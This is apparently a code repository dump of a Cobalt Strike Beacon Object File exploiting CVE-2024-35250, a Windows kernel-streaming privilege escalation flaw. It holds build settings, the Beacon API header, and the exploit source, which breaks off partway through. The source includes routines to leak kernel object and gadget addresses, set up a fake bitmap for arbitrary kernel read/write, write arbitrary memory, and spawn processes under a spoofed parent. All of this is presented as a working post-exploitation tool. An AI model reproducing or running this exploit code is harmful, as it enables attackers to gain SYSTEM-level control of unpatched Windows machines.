189 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
190 | false
191 | stdcpp17
192 |
193 |
194 | Console
195 | true
196 |
197 |
198 |
199 |
200 | Level3
201 | true
202 | _DEBUG;_CONSOLE;_GTEST;%(PreprocessorDefinitions)
203 | false
204 | stdcpp20
205 | $(SolutionDir)packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;%(AdditionalIncludeDirectories)
206 | MultiThreadedDebug
207 |
208 |
209 | Console
210 | true
211 | $(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtest_maind.lib;$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtestd.lib;%(AdditionalDependencies)
212 |
213 |
214 |
215 |
216 | Level3
217 | true
218 | true
219 | true
220 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
221 | false
222 | stdcpp17
223 |
224 |
225 | Console
226 | true
227 | true
228 | true
229 |
230 |
231 |
232 |
233 |
234 |
235 |
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
251 |
252 |
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/beacon.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Beacon Object Files (BOF)
3 | * -------------------------
4 | * A Beacon Object File is a light-weight post exploitation tool that runs
5 | * with Beacon's inline-execute command.
6 | *
7 | * Additional BOF resources are available here:
8 | * - https://github.com/Cobalt-Strike/bof_template
9 | *
10 | * Cobalt Strike 4.x
11 | * ChangeLog:
12 | * 1/25/2022: updated for 4.5
13 | * 7/18/2023: Added BeaconInformation API for 4.9
14 | * 7/31/2023: Added Key/Value store APIs for 4.9
15 | * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
16 | * 8/31/2023: Added Data store APIs for 4.9
17 | * BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
18 | * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
19 | * 9/01/2023: Added BeaconGetCustomUserData API for 4.9
20 | * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL
21 | * Updated the BEACON_INFO data structure to add new parameters
22 | * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10
23 | * 4/25/2024: Added APIs to call Beacon's system call implementation
24 | */
25 | #ifndef _BEACON_H_
26 | #define _BEACON_H_
27 | #include
28 |
29 | #ifdef __cplusplus
30 | extern "C" {
31 | #endif // __cplusplus
32 |
33 | /* data API */
34 | typedef struct {
35 | char * original; /* the original buffer [so we can free it] */
36 | char * buffer; /* current pointer into our buffer */
37 | int length; /* remaining length of data */
38 | int size; /* total size of this buffer */
39 | } datap;
40 |
41 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
42 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
43 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
44 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
45 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
46 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
47 |
48 | /* format API */
49 | typedef struct {
50 | char * original; /* the original buffer [so we can free it] */
51 | char * buffer; /* current pointer into our buffer */
52 | int length; /* remaining length of data */
53 | int size; /* total size of this buffer */
54 | } formatp;
55 |
56 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
57 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
58 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len);
59 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...);
60 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
61 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
62 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
63 |
64 | /* Output Functions */
65 | #define CALLBACK_OUTPUT 0x0
66 | #define CALLBACK_OUTPUT_OEM 0x1e
67 | #define CALLBACK_OUTPUT_UTF8 0x20
68 | #define CALLBACK_ERROR 0x0d
69 | #define CALLBACK_CUSTOM 0x1000
70 | #define CALLBACK_CUSTOM_LAST 0x13ff
71 |
72 |
73 | DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len);
74 | DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...);
75 |
76 |
77 | /* Token Functions */
78 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
79 | DECLSPEC_IMPORT void BeaconRevertToken();
80 | DECLSPEC_IMPORT BOOL BeaconIsAdmin();
81 |
82 | /* Spawn+Inject Functions */
83 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
84 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
85 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
86 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
87 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
88 |
89 | /* Utility Functions */
90 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
91 |
92 | /* Beacon Information */
93 | /*
94 | * ptr - pointer to the base address of the allocated memory.
95 | * size - the number of bytes allocated for the ptr.
96 | */
97 | typedef struct {
98 | char * ptr;
99 | size_t size;
100 | } HEAP_RECORD;
101 | #define MASK_SIZE 13
102 |
103 | /* Information the user can set in the USER_DATA via a UDRL */
104 | typedef enum {
105 | PURPOSE_EMPTY,
106 | PURPOSE_GENERIC_BUFFER,
107 | PURPOSE_BEACON_MEMORY,
108 | PURPOSE_SLEEPMASK_MEMORY,
109 | PURPOSE_BOF_MEMORY,
110 | PURPOSE_USER_DEFINED_MEMORY = 1000
111 | } ALLOCATED_MEMORY_PURPOSE;
112 |
113 | typedef enum {
114 | LABEL_EMPTY,
115 | LABEL_BUFFER,
116 | LABEL_PEHEADER,
117 | LABEL_TEXT,
118 | LABEL_RDATA,
119 | LABEL_DATA,
120 | LABEL_PDATA,
121 | LABEL_RELOC,
122 | LABEL_USER_DEFINED = 1000
123 | } ALLOCATED_MEMORY_LABEL;
124 |
125 | typedef enum {
126 | METHOD_UNKNOWN,
127 | METHOD_VIRTUALALLOC,
128 | METHOD_HEAPALLOC,
129 | METHOD_MODULESTOMP,
130 | METHOD_NTMAPVIEW,
131 | METHOD_USER_DEFINED = 1000,
132 | } ALLOCATED_MEMORY_ALLOCATION_METHOD;
133 |
134 | /**
135 | * This structure allows the user to provide additional information
136 | * about the allocated heap for cleanup. It is mandatory to provide
137 | * the HeapHandle but the DestroyHeap Boolean can be used to indicate
138 | * whether the clean up code should destroy the heap or simply free the pages.
139 | * This is useful in situations where a loader allocates memory in the
140 | * processes current heap.
141 | */
142 | typedef struct _HEAPALLOC_INFO {
143 | PVOID HeapHandle;
144 | BOOL DestroyHeap;
145 | } HEAPALLOC_INFO, *PHEAPALLOC_INFO;
146 |
147 | typedef struct _MODULESTOMP_INFO {
148 | HMODULE ModuleHandle;
149 | } MODULESTOMP_INFO, *PMODULESTOMP_INFO;
150 |
151 | typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
152 | HEAPALLOC_INFO HeapAllocInfo;
153 | MODULESTOMP_INFO ModuleStompInfo;
154 | PVOID Custom;
155 | } ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
156 |
157 | typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
158 | BOOL Cleanup;
159 | ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
160 | ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
161 | } ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
162 |
163 | typedef struct _ALLOCATED_MEMORY_SECTION {
164 | ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
165 | PVOID BaseAddress; // Pointer to virtual address of section
166 | SIZE_T VirtualSize; // Virtual size of the section
167 | DWORD CurrentProtect; // Current memory protection of the section
168 | DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
169 | BOOL MaskSection; // A boolean to indicate whether the section should be masked
170 | } ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
171 |
172 | typedef struct _ALLOCATED_MEMORY_REGION {
173 | ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
174 | PVOID AllocationBase; // The base address of the allocated memory block
175 | SIZE_T RegionSize; // The size of the allocated memory block
176 | DWORD Type; // The type of memory allocated
177 | ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
178 | ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
179 | } ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
180 |
181 | typedef struct {
182 | ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
183 | } ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
184 |
185 | /*
186 | * version - The version of the beacon dll was added for release 4.10
187 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
188 | * e.g. 0x040900 -> CS 4.9
189 | * 0x041000 -> CS 4.10
190 | *
191 | * sleep_mask_ptr - pointer to the sleep mask base address
192 | * sleep_mask_text_size - the sleep mask text section size
193 | * sleep_mask_total_size - the sleep mask total memory size
194 | *
195 | * beacon_ptr - pointer to beacon's base address
196 | * The stage.obfuscate flag affects this value when using CS default loader.
197 | * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
198 | * false: beacon_ptr = allocated_buffer (A valid address)
199 | * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
200 | * when the 2nd argument is set to DLL_PROCESS_ATTACH.
201 | * heap_records - list of memory addresses on the heap beacon wants to mask.
202 | * The list is terminated by the HEAP_RECORD.ptr set to NULL.
203 | * mask - the mask that beacon randomly generated to apply
204 | *
205 | * Added in version 4.10
206 | * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA
207 | * via a UDRL.
208 | */
209 | typedef struct {
210 | unsigned int version;
211 | char * sleep_mask_ptr;
212 | DWORD sleep_mask_text_size;
213 | DWORD sleep_mask_total_size;
214 |
215 | char * beacon_ptr;
216 | HEAP_RECORD * heap_records;
217 | char mask[MASK_SIZE];
218 |
219 | ALLOCATED_MEMORY allocatedMemory;
220 | } BEACON_INFO, *PBEACON_INFO;
221 |
222 | DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info);
223 |
224 | /* Key/Value store functions
225 | * These functions are used to associate a key to a memory address and save
226 | * that information into beacon. These memory addresses can then be
227 | * retrieved in a subsequent execution of a BOF.
228 | *
229 | * key - the key will be converted to a hash which is used to locate the
230 | * memory address.
231 | *
232 | * ptr - a memory address to save.
233 | *
234 | * Considerations:
235 | * - The contents at the memory address is not masked by beacon.
236 | * - The contents at the memory address is not released by beacon.
237 | *
238 | */
239 | DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
240 | DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
241 | DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
242 |
243 | /* Beacon Data Store functions
244 | * These functions are used to access items in Beacon's Data Store.
245 | * BeaconDataStoreGetItem returns NULL if the index does not exist.
246 | *
247 | * The contents are masked by default, and BOFs must unprotect the entry
248 | * before accessing the data buffer. BOFs must also protect the entry
249 | * after the data is not used anymore.
250 | *
251 | */
252 |
253 | #define DATA_STORE_TYPE_EMPTY 0
254 | #define DATA_STORE_TYPE_GENERAL_FILE 1
255 |
256 | typedef struct {
257 | int type;
258 | DWORD64 hash;
259 | BOOL masked;
260 | char* buffer;
261 | size_t length;
262 | } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
263 |
264 | DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
265 | DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);
266 | DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);
267 | DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();
268 |
269 | /* Beacon User Data functions */
270 | DECLSPEC_IMPORT char * BeaconGetCustomUserData();
271 |
272 | /* Beacon System call */
273 | /* Syscalls API */
274 | typedef struct
275 | {
276 | PVOID fnAddr;
277 | PVOID jmpAddr;
278 | DWORD sysnum;
279 | } SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
280 |
281 | typedef struct
282 | {
283 | SYSCALL_API_ENTRY ntAllocateVirtualMemory;
284 | SYSCALL_API_ENTRY ntProtectVirtualMemory;
285 | SYSCALL_API_ENTRY ntFreeVirtualMemory;
286 | SYSCALL_API_ENTRY ntGetContextThread;
287 | SYSCALL_API_ENTRY ntSetContextThread;
288 | SYSCALL_API_ENTRY ntResumeThread;
289 | SYSCALL_API_ENTRY ntCreateThreadEx;
290 | SYSCALL_API_ENTRY ntOpenProcess;
291 | SYSCALL_API_ENTRY ntOpenThread;
292 | SYSCALL_API_ENTRY ntClose;
293 | SYSCALL_API_ENTRY ntCreateSection;
294 | SYSCALL_API_ENTRY ntMapViewOfSection;
295 | SYSCALL_API_ENTRY ntUnmapViewOfSection;
296 | SYSCALL_API_ENTRY ntQueryVirtualMemory;
297 | SYSCALL_API_ENTRY ntDuplicateObject;
298 | SYSCALL_API_ENTRY ntReadVirtualMemory;
299 | SYSCALL_API_ENTRY ntWriteVirtualMemory;
300 | SYSCALL_API_ENTRY ntReadFile;
301 | SYSCALL_API_ENTRY ntWriteFile;
302 | SYSCALL_API_ENTRY ntCreateFile;
303 | } SYSCALL_API, *PSYSCALL_API;
304 |
305 | /* Additional Run Time Library (RTL) addresses used to support system calls.
306 | * If they are not set then system calls that require them will fall back
307 | * to the Standard Windows API.
308 | *
309 | * Required to support the following system calls:
310 | * ntCreateFile
311 | */
312 | typedef struct
313 | {
314 | PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
315 | PVOID rtlFreeHeapAddr;
316 | PVOID rtlGetProcessHeapAddr;
317 | } RTL_API, *PRTL_API;
318 |
319 | typedef struct
320 | {
321 | PSYSCALL_API syscalls;
322 | PRTL_API rtls;
323 | } BEACON_SYSCALLS, *PBEACON_SYSCALLS;
324 |
325 | DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized);
326 |
327 | /* Beacon System call functions which will use the current system call method */
328 | DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
329 | DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
330 | DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
331 | DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
332 | DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
333 | DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
334 | DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
335 | DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle);
336 | DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
337 | DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
338 | DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object);
339 | DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
340 | DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
341 | DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
342 | DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead);
343 | DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
344 |
345 |
346 |
347 | /* Beacon User Data
348 | *
349 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
350 | * e.g. 0x040900 -> CS 4.9
351 | * 0x041000 -> CS 4.10
352 | */
353 |
354 | #define DLL_BEACON_USER_DATA 0x0d
355 | #define BEACON_USER_DATA_CUSTOM_SIZE 32
356 | typedef struct
357 | {
358 | unsigned int version;
359 | PSYSCALL_API syscalls;
360 | char custom[BEACON_USER_DATA_CUSTOM_SIZE];
361 | PRTL_API rtls;
362 | PALLOCATED_MEMORY allocatedMemory;
363 | } USER_DATA, * PUSER_DATA;
364 |
365 | #ifdef __cplusplus
366 | }
367 | #endif // __cplusplus
368 | #endif // _BEACON_H_
369 |
--------------------------------------------------------------------------------
/CVE-2024-35250-BOF/CVE-2024-35250-BOF.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include "base\helpers.h"
3 |
4 | /**
5 | * For the debug build we want:
6 | * a) Include the mock-up layer
7 | * b) Undefine DECLSPEC_IMPORT since the mocked Beacon API
8 | * is linked against the the debug build.
9 | */
10 | #ifdef _DEBUG
11 | #undef DECLSPEC_IMPORT
12 | #define DECLSPEC_IMPORT
13 | #include "base\mock.h"
14 | #endif
15 |
16 |
17 | /*
18 | PoC Info
19 | --------------------------------------------------------------
20 | Vulnerability: CVE-2024-35250
21 | Tested environment: Windows 11 22h2 Build 22621
22 | Windows 10 20h2 Build 19042
23 | VMWare Workstation 17 Pro
24 | Weakness: CWE-822: Untrusted Pointer Dereference
25 | Known limitations: Didn't work in Hyper-V environments
26 | Required privileges: Medium IL
27 | --------------------------------------------------------------
28 | */
29 | #define __STREAMS__
30 | #define _INC_MMREG
31 | //#define _SE_DEBUG_PRIVILEGE 0xc1b4
32 | #define _PREVIOUS_MODE 0xbaba
33 | #include
34 | #include
35 | //#include
36 | #include
37 | //#include
38 | #include
39 | #include
40 | #include
41 | #include
42 | #include
43 | #include
44 | #include
45 | #include
46 | #include
47 | #include
48 | #include "common.h"
49 | #include
50 | #include
51 |
52 | #pragma comment(lib, "Ksproxy.lib")
53 | #pragma comment(lib, "ksuser.lib")
54 | //#pragma comment(lib, "ntdll.lib")
55 | //#pragma comment(lib, "ntdllp.lib")
56 | #pragma comment(lib, "SetupAPI.lib")
57 | #pragma comment(lib, "Advapi32.lib")
58 | #pragma comment(lib, "Shlwapi.lib")
59 |
60 | //
61 | // Get the kernel object pointer for the specific process by it's handle
62 | //
63 |
64 | extern "C" {
65 | #include "beacon.h"
66 | #include "sleepmask.h"
67 | #include "bofdefs.h"
68 |
69 | int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)
70 |
71 | {
72 | int32_t Ret = -1;
73 | PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
74 | ULONG ulBytes = 0;
75 | NTSTATUS Status = STATUS_SUCCESS;
76 |
77 | //
78 | // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
79 | //
80 | while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
81 | {
82 | if (pHandleInfo != NULL)
83 | {
84 | pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
85 | }
86 |
87 | else
88 | {
89 | pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
90 | }
91 | }
92 |
93 | if (Status != NULL)
94 | {
95 | Ret = Status;
96 | goto done;
97 | }
98 |
99 | for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
100 | {
101 | if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
102 | {
103 | *ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
104 | Ret = 0;
105 | break;
106 | }
107 | }
108 |
109 | done:
110 | if (pHandleInfo != NULL)
111 | {
112 | HeapFree(GetProcessHeap(), 0, pHandleInfo);
113 | }
114 | return Ret;
115 | }
116 |
117 | //
118 | // ALlocate fake bitmap for arbitrary r/w operations
119 | //
120 | void* AllocateBitmap(SIZE_T size, LPVOID baseAddress) {
121 |
122 | LPVOID allocatedMemory = VirtualAlloc(baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
123 |
124 | if (allocatedMemory == NULL)
125 | {
126 | print_info("[-] AllocateBitmap failed with error: %d", GetLastError());
127 | return NULL;
128 | }
129 |
130 | print_info("[+] Fake RTL_BITMAP allocated at address = %p", allocatedMemory);
131 |
132 | return allocatedMemory;
133 | }
134 |
135 | UINT_PTR GetKernelModuleAddress(const char* TargetModule)
136 | {
137 | NTSTATUS status;
138 | ULONG ulBytes = 0;
139 | PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL;
140 |
141 | while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
142 | {
143 | if (handleTableInfo != NULL)
144 | {
145 | handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
146 | }
147 |
148 | else
149 | {
150 | handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
151 | }
152 | }
153 |
154 | if (status == 0)
155 | {
156 | for (ULONG i = 0; i < handleTableInfo->ModulesCount; i++)
157 | {
158 | char* moduleName = StrStrA(handleTableInfo->Modules[i].Name, TargetModule);
159 | if (moduleName != NULL)
160 | {
161 | return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress;
162 | }
163 | }
164 | }
165 | else
166 | {
167 | if (handleTableInfo != NULL)
168 | {
169 | print_info("[-] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)", status);
170 | HeapFree(GetProcessHeap(), 0, handleTableInfo);
171 | return 0;
172 | }
173 | }
174 |
175 | HeapFree(GetProcessHeap(), 0, handleTableInfo);
176 |
177 | return 0;
178 | }
179 |
180 | DWORD64 leak_gadget_address(LPCSTR GadgetName)
181 | {
182 | DWORD64 module_base_kernel, rtlSetAllBits_address;
183 | HMODULE module_base_user;
184 |
185 | module_base_user = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
186 | if (!module_base_user)
187 | goto error;
188 |
189 | rtlSetAllBits_address = (DWORD64)GetProcAddress(module_base_user, GadgetName);
190 | if (!rtlSetAllBits_address) {
191 | goto error;
192 | }
193 | module_base_kernel = GetKernelModuleAddress("ntoskrnl.exe");
194 | rtlSetAllBits_address = module_base_kernel + (rtlSetAllBits_address - (DWORD64)module_base_user);
195 |
196 | return rtlSetAllBits_address;
197 | error:
198 | print_info("[-] leak_gadget_address failed");
199 | return FALSE;
200 | }
201 |
202 | //
203 | // A wrapper to make arbitrary writes to the whole system memory address space
204 | //
205 | NTSTATUS Write64(void* Dst, void* Src, size_t Size)
206 | {
207 | NTSTATUS Status = 0;
208 | PULONG cbNumOfBytesWrite = 0;
209 |
210 | Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, cbNumOfBytesWrite);
211 | if (!NT_SUCCESS(Status))
212 | {
213 | return -1;
214 | }
215 | return Status;
216 | }
217 | //
218 | // original from https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6
219 | //
220 | DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) {
221 | STARTUPINFOEXA si;
222 | PROCESS_INFORMATION pi;
223 | SIZE_T size;
224 | BOOL ret;
225 |
226 | // Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
227 | memset(&si, 0, sizeof(STARTUPINFOEXA));
228 |
229 | InitializeProcThreadAttributeList(NULL, 1, 0, &size);
230 | si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
231 | GetProcessHeap(),
232 | 0,
233 | size
234 | );
235 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
236 | UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL);
237 |
238 | si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
239 |
240 | // Finally, create the process
241 | ret = CreateProcessA(
242 | NULL,
243 | command,
244 | NULL,
245 | NULL,
246 | true,
247 | EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
248 | NULL,
249 | NULL,
250 | reinterpret_cast(&si),
251 | &pi
252 | );
253 |
254 | if (ret == false) {
255 | print_info("CreateProcessFromHandle failed with error = ", GetLastError());
256 | return 3;
257 | }
258 |
259 | return 0;
260 | }
261 |
262 | ULONG GetPidByName(const wchar_t* procname) {
263 | PROCESSENTRY32 entry;
264 | entry.dwSize = sizeof(PROCESSENTRY32);
265 |
266 | ULONG pid;
267 |
268 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
269 |
270 | if (Process32First(snapshot, &entry) == TRUE)
271 | {
272 | while (Process32Next(snapshot, &entry) == TRUE)
273 | {
274 | if (wcscmp((const wchar_t*)entry.szExeFile, procname) == 0)
275 | {
276 | pid = entry.th32ProcessID;
277 | break;
278 | }
279 | }
280 | }
281 |
282 | CloseHandle(snapshot);
283 | return pid;
284 | }
285 |
286 | // Define the Dynamic Function Resolution declaration for the GetLastError function
287 | // Map GetLastError to KERNEL32$GetLastError
288 |
289 | void go(char* args, int len) {
290 | /**
291 | * Define the Dynamic Function Resolution declaration for the GetSystemDirectoryA function
292 | * This time we use the DFR_LOCAL macro which create a local function pointer variable that
293 | * points to GetSystemDirectoryA. Therefore, we do have to map GetSystemDirectoryA to
294 | * KERNEL32$GetSystemDirectoryA
295 | */
296 | //DFR_LOCAL(KERNEL32, GetSystemDirectoryA);
297 | //char path[MAX_PATH + 1];
298 |
299 | //UINT bytesCopied = GetSystemDirectoryA(path, sizeof(path));
300 | //if (bytesCopied == 0) {
301 | // print_info("Error: %i", GetLastError());
302 | //}
303 | //else if (bytesCopied <= sizeof(path)) {
304 | // BeaconPrintf(CALLBACK_OUTPUT, "System Directory: %s", path);
305 | //}
306 |
307 | HRESULT hr;
308 | HANDLE hDrmDevice = NULL;
309 | UCHAR InBuffer[sizeof(KSPROPERTY) + sizeof(EXPLOIT_DATA2)] = { 0 };
310 | KSPROPERTY* pInBufProperty = (KSPROPERTY*)InBuffer;
311 | EXPLOIT_DATA2* pInBufPropertyData = (EXPLOIT_DATA2*)(pInBufProperty + 1);
312 |
313 | UCHAR UnserializePropertySetRequest[sizeof(KSPROPERTY_SERIALHDR) + sizeof(KSPROPERTY_SERIAL) + sizeof(EXPLOIT_DATA1)] = { 0 };
314 |
315 | KSPROPERTY_SERIALHDR* pSerialHdr = (KSPROPERTY_SERIALHDR*)UnserializePropertySetRequest;
316 | PKSPROPERTY_SERIAL pSerial = (KSPROPERTY_SERIAL*)(pSerialHdr + 1);
317 | EXPLOIT_DATA1* pOutBufPropertyData = (EXPLOIT_DATA1*)(pSerial + 1);
318 |
319 | BOOL res = FALSE;
320 | NTSTATUS status = 0;
321 |
322 | uint32_t Ret = 0;
323 |
324 | GUID hKSCATEGORY_DRM_DESCRAMBLE;
325 | IIDFromString(L"{FFBB6E3F-CCFE-4D84-90D9-421418B03A8E}", &hKSCATEGORY_DRM_DESCRAMBLE);
326 | const GUID categories[] = {
327 | hKSCATEGORY_DRM_DESCRAMBLE,//KSCATEGORY_DRM_DESCRAMBLE,
328 | };
329 |
330 | HMODULE hKsProxy = LoadLibraryExW(L"ksproxy.ax", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
331 | if (!hKsProxy) {
332 | print_error("Loadlibrary ksproxy.ax failed: ", GetLastError());
333 | return;
334 | }
